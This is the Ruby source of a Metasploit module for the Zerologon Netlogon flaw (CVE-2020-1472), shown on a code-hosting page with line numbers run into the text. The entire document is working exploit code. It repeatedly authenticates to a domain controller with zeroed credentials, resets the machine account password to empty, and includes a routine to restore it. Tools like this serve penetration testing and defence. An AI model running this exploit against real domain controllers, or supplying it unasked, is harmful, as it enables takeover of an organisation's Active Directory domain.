Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'windows_error'67class MetasploitModule < Msf::Auxiliary89include Msf::Exploit::Remote::DCERPC10include Msf::Exploit::Remote::SMB::Client11include Msf::Auxiliary::Report1213CheckCode = Exploit::CheckCode14Netlogon = RubySMB::Dcerpc::Netlogon15EMPTY_SHARED_SECRET = OpenSSL::Digest.digest('MD4', '')1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Netlogon Weak Cryptographic Authentication',22'Description' => %q{23A vulnerability exists within the Netlogon authentication process where the security properties granted by AES24are lost due to an implementation flaw related to the use of a static initialization vector (IV). An attacker25can leverage this flaw to target an Active Directory Domain Controller and make repeated authentication attempts26using NULL data fields which will succeed every 1 in 256 tries (~0.4%). This module leverages the vulnerability27to reset the machine account password to an empty string, which will then allow the attacker to authenticate as28the machine account. After exploitation, it's important to restore this password to it's original value. Failure29to do so can result in service instability.30},31'Author' => [32'Tom Tervoort', # original vulnerability details33'Spencer McIntyre', # metasploit module34'Dirk-jan Mollema' # password restoration technique35],36'Notes' => {37'AKA' => ['Zerologon'],38'Stability' => [CRASH_SAFE],39'Reliability' => [],40'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]41},42'License' => MSF_LICENSE,43'Actions' => [44[ 'REMOVE', { 'Description' => 'Remove the machine account password' } ],45[ 'RESTORE', { 'Description' => 'Restore the machine account password' } ]46],47'DefaultAction' => 'REMOVE',48'References' => [49[ 'CVE', '2020-1472' ],50[ 'URL', 'https://www.secura.com/blog/zero-logon' ],51[ 'URL', 'https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py' ],52[ 'URL', 'https://github.com/dirkjanm/CVE-2020-1472/blob/master/restorepassword.py' ]53]54)55)5657register_options(58[59OptPort.new('RPORT', [ false, 'The netlogon RPC port' ]),60OptString.new('NBNAME', [ true, 'The server\'s NetBIOS name' ]),61OptString.new('PASSWORD', [ false, 'The password to restore for the machine account (in hex)' ], conditions: %w[ACTION == RESTORE]),62]63)64end6566def peer67"#{rhost}:#{@dport || datastore['RPORT']}"68end6970def bind_to_netlogon_service71@dport = datastore['RPORT']72if @dport.nil? || @dport == 073@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')74fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport75end7677# Bind to the service78handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])79print_status("Binding to #{handle} ...")80dcerpc_bind(handle)81print_status("Bound to #{handle} ...")82end8384def check85bind_to_netlogon_service8687status = nil882000.times do89netr_server_req_challenge90response = netr_server_authenticate39192break if (status = response.error_status) == 09394windows_error = ::WindowsError::NTStatus.find_by_retval(response.error_status.to_i).first95# Try again if the Failure is STATUS_ACCESS_DENIED, otherwise something has gone wrong96next if windows_error == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED9798fail_with(Failure::UnexpectedReply, windows_error)99end100101return CheckCode::Detected unless status == 0102103CheckCode::Vulnerable104end105106def run107case action.name108when 'REMOVE'109action_remove_password110when 'RESTORE'111action_restore_password112end113end114115def action_remove_password116fail_with(Failure::Unknown, 'Failed to authenticate to the server by leveraging the vulnerability') unless check == CheckCode::Vulnerable117118print_good('Successfully authenticated')119120report_vuln(121host: rhost,122port: @dport,123name: name,124sname: 'dcerpc',125proto: 'tcp',126refs: references,127info: "Module #{fullname} successfully authenticated to the server without knowledge of the shared secret"128)129130response = netr_server_password_set2131status = response.error_status.to_i132fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0133134print_good("Successfully set the machine account (#{datastore['NBNAME']}$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)")135end136137def action_restore_password138fail_with(Failure::BadConfig, 'The RESTORE action requires the PASSWORD option to be set') if datastore['PASSWORD'].blank?139fail_with(Failure::BadConfig, 'The PASSWORD option must be in hex') if /^([0-9a-fA-F]{2})+$/ !~ datastore['PASSWORD']140password = [datastore['PASSWORD']].pack('H*')141142bind_to_netlogon_service143client_challenge = OpenSSL::Random.random_bytes(8)144145response = netr_server_req_challenge(client_challenge: client_challenge)146session_key = Netlogon.calculate_session_key(EMPTY_SHARED_SECRET, client_challenge, response.server_challenge)147ppp = Netlogon.encrypt_credential(session_key, client_challenge)148149response = netr_server_authenticate3(client_credential: ppp)150fail_with(Failure::NoAccess, 'Failed to authenticate (the machine account password may not be empty)') unless response.error_status == 0151152new_password_data = ("\x00" * (512 - password.length)) + password + [password.length].pack('V')153response = netr_server_password_set2(154authenticator: Netlogon::NetlogonAuthenticator.new(155credential: Netlogon.encrypt_credential(session_key, [ppp.unpack1('Q') + 10].pack('Q')),156timestamp: 10157),158clear_new_password: Netlogon.encrypt_credential(session_key, new_password_data)159)160status = response.error_status.to_i161fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0162163print_good("Successfully set machine account (#{datastore['NBNAME']}$) password")164end165166def netr_server_authenticate3(client_credential: "\x00" * 8)167nrpc_call('NetrServerAuthenticate3',168primary_name: "\\\\#{datastore['NBNAME']}",169account_name: "#{datastore['NBNAME']}$",170secure_channel_type: :ServerSecureChannel,171computer_name: datastore['NBNAME'],172client_credential: client_credential,173flags: 0x212fffff)174end175176def netr_server_password_set2(authenticator: nil, clear_new_password: "\x00" * 516)177authenticator ||= Netlogon::NetlogonAuthenticator.new(credential: "\x00" * 8, timestamp: 0)178nrpc_call('NetrServerPasswordSet2',179primary_name: "\\\\#{datastore['NBNAME']}",180account_name: "#{datastore['NBNAME']}$",181secure_channel_type: :ServerSecureChannel,182computer_name: datastore['NBNAME'],183authenticator: authenticator,184clear_new_password: clear_new_password)185end186187def netr_server_req_challenge(client_challenge: "\x00" * 8)188nrpc_call('NetrServerReqChallenge',189primary_name: "\\\\#{datastore['NBNAME']}",190computer_name: datastore['NBNAME'],191client_challenge: client_challenge)192end193194def nrpc_call(name, **kwargs)195request = Netlogon.const_get("#{name}Request").new(**kwargs)196197begin198raw_response = dcerpc.call(request.opnum, request.to_binary_s)199rescue Rex::Proto::DCERPC::Exceptions::Fault200fail_with(Failure::UnexpectedReply, "The #{name} Netlogon RPC request failed")201end202203Netlogon.const_get("#{name}Response").read(raw_response)204end205end206207208